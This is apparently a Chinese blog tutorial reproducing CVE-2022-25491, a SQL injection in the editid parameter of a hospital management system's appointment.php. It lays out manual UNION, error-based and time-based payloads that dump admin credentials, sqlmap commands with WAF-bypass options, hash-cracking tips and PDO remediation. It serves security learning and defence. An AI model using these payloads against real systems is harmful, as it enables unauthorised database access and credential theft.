CVE-2022-25491漏洞复现:从手工注入到自动化利用的SQL注入实战
2026/7/4 17:09:56 网站建设 项目流程

1. 项目概述:一次典型的Web应用SQL注入漏洞复现

最近在整理一些历史CVE漏洞的复现笔记,正好翻到了CVE-2022-25491这个案例。这是一个发生在某医院管理系统(HMS)中的SQL注入漏洞,漏洞点位于appointment.php文件的editid参数。这类漏洞在早期的Web应用中非常典型,虽然现在很多框架都内置了防护,但理解其原理和复现过程,对于安全从业者来说,依然是夯实基础、理解攻击者手法的必修课。这次复现,我不仅会带你走通整个漏洞利用流程,更重要的是,我会拆解每一步背后的逻辑,分享我在手工注入和工具辅助测试中的一些实战心得,以及如何从防御者的角度去思考这类问题的根源。无论你是刚入门网络安全的新手,想通过一个具体案例理解SQL注入,还是有一定经验的从业者,想回顾一下手工注入的技巧,这篇文章都能给你带来直接的参考价值。

2. 漏洞环境搭建与核心原理剖析

2.1 靶场环境快速部署

要复现漏洞,首先得有一个靶场。CVE-2022-25491影响的是HMS v1.0。我推荐在本地虚拟机(如VMware或VirtualBox)中搭建,这样最安全可控。你可以从一些开源漏洞库或历史镜像站点找到HMS v1.0的安装包,通常是一个PHP项目。

部署步骤很简单:1)在虚拟机里安装一个集成的Web服务环境,比如XAMPP或PHPStudy,它包含了Apache、MySQL和PHP;2)将HMS的源码解压到Web服务器的根目录(例如htdocswww目录下);3)通过浏览器访问安装向导,按照提示配置数据库连接。这里有个关键点,数据库的字符集建议设置为utf8_general_ci,因为一些老系统对字符集处理不当,本身就可能衍生出宽字节注入等旁路问题,但我们这次复现不涉及这个。

部署成功后,你应该能访问到HMS的登录页面。默认的后台管理员账号密码,通常在源码的安装说明或config.php文件里能找到,常见的是admin/admin。成功登录后,我们才能访问到存在漏洞的appointment.php页面,因为它往往是一个需要认证的后台功能模块。

注意:永远不要在公网服务器上部署存在已知高危漏洞的应用程序,即使是为了测试。严格的隔离环境是安全研究的第一原则。

2.2 漏洞点定位与原理深度解析

根据公开的漏洞描述,问题出在appointment.php文件中,具体是editid这个参数。在HMS v1.0中,这个文件很可能负责处理“预约”信息的增删改查,而editid用于指定要编辑哪一条预约记录。

我们来看一下漏洞产生的典型代码模式(这是基于常见漏洞模式的还原,并非真实源码):

// appointment.php 中可能存在的漏洞代码片段 $editid = $_GET['editid']; // 直接从GET请求中获取参数,未经过滤 $sql = "SELECT * FROM appointments WHERE id = $editid"; // 直接将参数拼接进SQL语句 $result = mysql_query($sql); // 执行查询

漏洞原理的核心就在这里:程序直接将用户可控的输入($_GET[‘editid’])拼接到了SQL查询语句中,并且没有进行任何有效的过滤、转义或使用预编译语句(Prepared Statements)。

这导致了经典的“数字型SQL注入”。因为id字段通常是整数,所以editid参数在正常的业务逻辑中应该是一个数字,比如?editid=5。但是,攻击者可以输入任何内容。例如,输入?editid=5 OR 1=1,那么拼接后的SQL语句就变成了:

SELECT * FROM appointments WHERE id = 5 OR 1=1

WHERE条件变成了id=5 OR 1=1。由于1=1是一个永恒为真的条件,整个WHERE子句的结果就永远为真。这意味着这条查询语句可能会返回appointments表中的所有记录,而不仅仅是id=5的那一条。如果这个查询结果用于页面展示,攻击者就能越权看到所有预约信息;如果用于其他操作,后果可能更严重。

为什么开发者会犯这样的错误?在Web开发早期,特别是PHP+MySQL的架构中,快速开发是首要目标,安全意识普遍薄弱。开发者往往认为后台功能是可信的,或者参数来自前端下拉框等受限输入,从而忽略了后端验证。此外,当时诸如mysql_real_escape_string()这类函数需要开发者主动调用,而预编译语句的普及度也不如今天。这个漏洞就是那个时代遗留问题的缩影。

3. 手工注入实战:从探测到数据获取

理解了原理,我们开始动手。手工注入能让你最深刻地理解漏洞的利用链。我习惯用的工具是Burp Suite的Repeater模块,或者直接浏览器配合HackBar插件,但理解手动构造Payload的过程是关键。

3.1 第一步:漏洞确认与注入点探测

首先,我们需要找到触发漏洞的入口。登录HMS后台,找到与“预约管理”或类似的菜单,点击“编辑”某条预约记录。此时观察浏览器地址栏,很可能看到类似http://target/appointment.php?editid=123的URL。

为了确认漏洞存在,我们进行最基本的真值测试:

  1. 访问http://target/appointment.php?editid=123
  2. 访问http://target/appointment.php?editid=123 AND 1=1
  3. 访问http://target/appointment.php?editid=123 AND 1=2

这里的逻辑是:AND 1=1是一个真条件,如果页面正常显示(与原始editid=123页面相同),说明我们注入的SQL片段被成功执行且没有导致语法错误。AND 1=2是一个假条件,如果页面内容消失、报错或与原始页面显著不同(例如找不到该条记录),则进一步证实了参数被代入SQL逻辑执行。如果1=11=2返回的页面结果不同,那么数字型注入就基本坐实了。

3.2 第二步:利用联合查询(UNION)获取信息

确认注入点后,下一步是利用UNION SELECT语句来获取数据库中的其他信息。这需要我们先搞清楚当前查询语句的字段数。

技巧:使用ORDER BY子句进行字段数判断。ORDER BY用于对结果集按指定列排序。如果ORDER BY 5表示按第5列排序,如果查询结果只有4列,数据库就会报错。我们可以利用这个特性来探测。

  1. 尝试?editid=123 ORDER BY 1-- 页面正常
  2. 尝试?editid=123 ORDER BY 5-- 页面正常
  3. 尝试?editid=123 ORDER BY 10-- 页面可能报错或异常 通过不断调整数字,直到找到那个使页面出错的临界点。假设ORDER BY 7正常,ORDER BY 8出错,那么原查询的字段数就是7。

知道了字段数(假设为7),我们就可以构造UNION查询了。UNION操作符用于合并两个SELECT语句的结果集,前提是列数必须相同。我们构造一个UNION SELECT,其中每个SELECT的字段数都要是7。

首先,需要让原查询的结果为空,这样页面上显示的就全是我们UNION注入的数据。通常可以让editid为一个不存在的值,比如-1。于是Payload变为:?editid=-1 UNION SELECT 1,2,3,4,5,6,7

提交后,观察页面。原本显示预约信息的地方,可能会出现一些数字,比如25。这表示页面的第2和第5个输出点,能够回显我们UNION SELECT的数据。这至关重要,因为我们需要把想要的信息(如数据库名、用户名)放到这些可回显的位置上。

3.3 第三步:获取数据库关键信息

现在,我们把回显位置(例如2和5)替换成我们想查询的数据库函数。

  1. 查询当前数据库名和用户:?editid=-1 UNION SELECT 1,database(),3,4,user(),6,7如果页面在对应位置显示了类似hms_dbroot@localhost的信息,那么我们就成功了。database()函数返回当前数据库名,user()返回当前数据库用户。

  2. 查询数据库版本和服务器信息:?editid=-1 UNION SELECT 1,version(),3,4,@@version_compile_os,6,7version()返回MySQL版本,@@version_compile_os返回操作系统信息。了解版本信息有助于判断是否存在已知的提权漏洞。

  3. 枚举数据库中的所有表名:在MySQL中,有一个名为information_schema.tables的系统表,它存储了所有表的信息。我们可以查询它来获取当前数据库的所有表。?editid=-1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7 FROM information_schema.tables WHERE table_schema=database()group_concat()函数会将所有结果合并成一个字符串,方便查看。执行后,你可能会看到一串表名,如appointments,users,patients,admin...。其中,usersadmin这类表通常存放着核心的用户凭证。

  4. 获取关键表的字段名:假设我们对admin表感兴趣。同样利用information_schema.columns系统表。?editid=-1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7 FROM information_schema.columns WHERE table_schema=database() AND table_name=‘admin’这里需要注意,表名‘admin’需要用引号括起来。如果页面有回显,你可能会得到id,username,password,email之类的字段名。

  5. 最终一击:拖取管理员账号密码:知道了表名(admin)和字段名(username, password),就可以直接查询数据了。?editid=-1 UNION SELECT 1,username,3,4,password,6,7 FROM admin这样,在页面的第2和第5个回显点,你就能直接看到管理员的用户名和密码哈希值(通常是MD5)。如果运气好,密码甚至是明文存储的,那危害就更大了。

实操心得:在手工UNION注入时,经常会遇到页面没有明显回显点的情况。这时候不要慌,可以尝试报错注入。例如,使用updatexml()extractvalue()函数,让数据库在报错信息中返回我们想要的数据。Payload类似:?editid=1 AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)。数据库执行错误时,会将concat中的内容(即数据库名)显示在错误信息里,我们就能从页面或Burp的响应中捕获到。

4. 自动化工具辅助与深入利用

手工注入能锻炼基本功,但在实战或需要快速评估时,自动化工具效率更高。这里以sqlmap为例,演示如何高效利用此漏洞。

4.1 使用sqlmap进行快速检测与利用

sqlmap是一款开源的SQL注入自动化检测与利用工具。在确认了漏洞URL后,我们可以这样操作:

基础检测:

python sqlmap.py -u “http://target/appointment.php?editid=123” --batch

-u参数指定目标URL,--batch表示以非交互模式运行,所有默认选项都选是。sqlmap会自动检测是否存在注入以及注入类型。

获取当前数据库信息:

python sqlmap.py -u “http://target/appointment.php?editid=123” --current-db --current-user

枚举所有数据库名:

python sqlmap.py -u “http://target/appointment.php?editid=123” --dbs

枚举指定数据库的所有表(假设库名为hms):

python sqlmap.py -u “http://target/appointment.php?editid=123” -D hms --tables

导出指定表的所有数据(例如admin表):

python sqlmap.py -u “http://target/appointment.php?editid=123” -D hms -T admin --dump

--dump命令会尝试导出表内所有数据,如果密码是哈希值,sqlmap还会自动调用内置的字典进行破解尝试。

4.2 绕过可能的简单防御与工具高级参数

一些老系统可能会做一些简单的过滤,比如过滤空格、UNIONSELECT等关键词。sqlmap提供了丰富的篡改脚本(tamper script)来绕过。

  • 过滤空格:常用/**/+代替空格。sqlmap的--tamper参数可以指定脚本,例如--tamper=space2comment会用/**/替换空格。
  • 关键词过滤:可能使用大小写混淆、双写关键词(如SELSELECTECT)等方式。可以尝试手动构造,或使用sqlmap的--technique指定注入技术(如B: Boolean-based blind)。

实战中更常用的命令组合可能是:

python sqlmap.py -u “http://target/appointment.php?editid=123” --batch --level 3 --risk 2 -D hms -T admin --dump

--level--risk参数提高检测等级和风险等级,以执行更全面的测试。

注意事项:虽然sqlmap强大,但切忌滥用。在授权测试中,--dump这样的数据导出操作一定要谨慎,最好先与目标方确认范围。在自家靶场里,则可以用来验证漏洞的最大危害。

5. 漏洞修复方案与防御纵深构建

复现漏洞不是为了攻击,而是为了更好的防御。针对CVE-2022-25491这类SQL注入,修复方案是清晰且标准的。

5.1 根本解决方案:使用参数化查询(预编译语句)

这是防御SQL注入最有效、最根本的方法。以PHP的PDO为例,修复后的代码应该是这样的:

// 修复后的代码片段 $editid = $_GET[‘editid’]; // 1. 连接数据库时设置字符集,避免二次漏洞 $pdo = new PDO(‘mysql:host=localhost;dbname=hms_db;charset=utf8mb4’, ‘username’, ‘password’); // 2. 使用预编译语句 $stmt = $pdo->prepare(“SELECT * FROM appointments WHERE id = :editid”); // 3. 绑定参数,明确指定类型为整数 $stmt->bindParam(‘:editid’, $editid, PDO::PARAM_INT); // 4. 执行查询 $stmt->execute(); $result = $stmt->fetchAll(PDO::FETCH_ASSOC);

原理是:SQL语句的模板(SELECT * FROM appointments WHERE id = ?)先被数据库编译,用户输入的editid值随后作为纯粹的“数据”传入,而不会被当作SQL代码的一部分进行解析。这样,即使攻击者输入1 OR 1=1,数据库也只会把它当作一个完整的字符串(或转换后的整数)去匹配id字段,而不会去执行OR逻辑。

5.2 辅助加固措施

虽然参数化查询是黄金准则,但在一些遗留系统或特殊场景下,也可以结合其他措施:

  1. 严格输入验证与类型转换:对于editid这种明确应该是数字的参数,在拼接SQL前,用intval()filter_var($editid, FILTER_VALIDATE_INT)函数进行强制类型转换和验证。如果不是合法整数,则直接拒绝请求。
  2. 最小权限原则:连接数据库的应用程序账号,不应该拥有DROPFILEGRANT等高危权限。只赋予其完成业务所必需的SELECTUPDATEINSERT权限。这样即使发生注入,危害也能被限制。
  3. Web应用防火墙(WAF):在应用前端部署WAF,可以拦截常见的SQL注入攻击特征。但这只是一种缓解措施,不能替代代码层面的修复。
  4. 错误信息处理:将数据库的详细错误信息屏蔽,向用户返回统一的、模糊的错误提示。避免攻击者通过报错信息获取数据库结构等敏感内容。

5.3 从开发流程上杜绝漏洞

对于企业和开发团队而言,比修复单个漏洞更重要的是建立安全开发生命周期(SDL):

  • 安全编码规范:强制要求所有数据库操作使用预编译语句或ORM框架。
  • 代码审计:将SQL注入作为代码审计(包括人工和自动化工具扫描)的必查项。
  • 安全培训:让每一位开发者都理解SQL注入的原理和危害,知道如何正确防御。
  • 依赖管理:及时升级所使用的开发框架和库,它们往往包含了最新的安全修复。

6. 复现过程中的常见问题与排查实录

即使按照步骤操作,复现过程中也可能遇到各种问题。这里记录几个我踩过的坑和解决方法。

问题1:页面没有明显回显,UNION SELECT后页面空白或不变。

  • 排查思路:首先检查原查询是否真的返回了空结果。尝试?editid=-99999,确保这个ID不存在。其次,检查字段数是否正确。多用几个数字测试ORDER BY。最后,尝试时间盲注报错注入。时间盲注的Payload如:?editid=123 AND IF(1=1,SLEEP(5),0),如果页面响应延迟了5秒,说明注入存在且可被用于推断数据。
  • 解决技巧:在Burp Suite的Repeater中,对比正常请求和注入请求的HTTP响应长度。即使页面看起来一样,响应长度的细微差别也可能暗示着注入成功。对于时间盲注,使用Burp的Intruder模块并设置Grep - Extract功能,可以自动化地根据响应时间判断条件真伪。

问题2:sqlmap检测不到注入点。

  • 排查思路:首先确认手动测试是否真的存在注入(AND 1=1/AND 1=2测试)。如果手动确认存在,可能是sqlmap的Payload被WAF或简单过滤拦截了。
  • 解决技巧
    1. 尝试降低检测级别:--level 1 --risk 1
    2. 使用延迟参数降低请求频率:--delay=1(每秒1个请求)。
    3. 指定注入技术:--technique=B(布尔盲注)或--technique=T(时间盲注)。
    4. 使用随机User-Agent:--random-agent
    5. 如果目标有Cookie认证,一定要加上Cookie:--cookie=“PHPSESSID=xxx”

问题3:获取到的密码哈希值破解不了。

  • 排查思路:确认哈希类型。MD5哈希是32位十六进制字符串。可以尝试在线彩虹表(如cmd5.com)或使用工具如hashcatjohn the ripper进行暴力破解或字典攻击。
  • 解决技巧:如果哈希是简单的MD5,且密码强度不高(如常见弱口令),破解成功率很高。但如果系统使用了加盐(salt)哈希,破解难度会指数级上升。这时,漏洞利用的终点可能就是获取哈希值本身,证明了数据泄露的风险。在渗透测试报告中,这同样是高危漏洞。

问题4:靶场环境安装失败或运行异常。

  • 排查思路:检查PHP版本是否兼容。很多老系统(如HMS v1.0)可能只支持PHP 5.x,在新版的PHP 7+或8+上会因为函数废弃(如mysql_*系列函数)而报错。
  • 解决技巧:使用PHPStudy等工具,可以快速切换PHP版本。为这个靶场单独配置一个低版本的PHP环境(如PHP 5.4)。同时,确保MySQL版本也不要太高,并检查PHP的mysqlmysqli扩展是否已启用。

复现CVE-2022-25491这样一个清晰的SQL注入漏洞,就像解剖一个经典的病理样本。它让我们看到,安全漏洞往往源于最基础的信任缺失和逻辑疏忽。通过这次从环境搭建、原理分析、手工注入到工具利用的完整旅程,我希望你收获的不仅仅是一个漏洞的利用方法,更是一种面对黑盒系统时,如何有条理地进行安全测试的思维模式。在防御端,参数化查询这条“金科玉律”必须刻在脑子里。最后,无论技术如何演进,对输入保持警惕,对输出进行控制,这两条安全开发的基本原则永远不会过时。在实际工作中,每写下一行数据库操作代码时,都多问自己一句:“这里的用户输入,我真的控制住了吗?”

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询